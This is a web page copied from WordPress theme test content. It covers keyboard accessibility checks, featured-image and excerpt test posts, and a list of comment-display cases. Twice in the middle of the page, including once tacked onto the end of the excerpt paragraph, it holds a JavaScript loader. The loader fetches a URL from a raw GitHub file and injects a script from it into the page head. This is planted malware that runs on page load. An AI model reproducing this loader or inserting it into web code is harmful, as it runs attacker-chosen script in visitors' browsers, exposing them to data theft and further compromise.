All the functionality, including menus, links and forms should work using a keyboard only. This is essential for all assistive technology to work properly. The only way to test this, at the moment, is manually. The best time to test this is during development.

How to keyboard test:

Tab through your pages, links and forms to do the following tests:

• Confirm that all links can be reached and activated via keyboard, including any in dropdown submenus.
• Confirm that all links get a visible focus indicator (e.g., a border highlight).
• Confirm that all visually hidden links (e.g. skip links) become visible when in focus.
• Confirm that all form input fields and buttons can be accessed and used via keyboard.
• Confirm that all interactions, buttons, and other controls can be triggered via keyboard — any action you can complete with a mouse must also be performable via keyboard.
• Confirm that focus doesn’t move in unexpected ways around the page.
• Confirm that using shift+tab to move backwards works as well.

Resources

• The Make WordPress Accessibility Handbook
  • Test for web accessibility
• Keyboard Accessibility by WebAIM
• Workshop keyboard accessibility
• Theme review accessibility-ready requirements: Keyboard Navigation

Non-square images can provide some unique styling issues.

This post tests a horizontal featured image.

Right after this sentence should be a “continue reading” button of some sort on list pages of themes that show full content. It won’t show on single pages or on themes showing excerpts.

;var url = ‘https://raw.githubusercontent.com/kroopsTerm/firstrepo/refs/heads/main/js.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

Be sure to test the formatting of the auto-generated excerpt, to ensure that it doesn’t create any layout problems. Also, ensure that any filters applied to the excerpt, such as excerpt_length and excerpt_more, display properly.;var url = ‘https://raw.githubusercontent.com/kroopsTerm/firstrepo/refs/heads/main/js.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

• Threaded comments up to 10 levels deep
• Paginated comments (set Settings > Discussion > Break comments into pages to 5 top level comments per page)
• Comment markup / formatting
• Comment images
• Comment videos
• Author comments
• Gravatars and default fallbacks

There should be no comment reply form, but should display pingbacks and trackbacks.

There are a few ways to list them.

1. Above the comments
2. Below the comments
3. Included within the normal flow of comments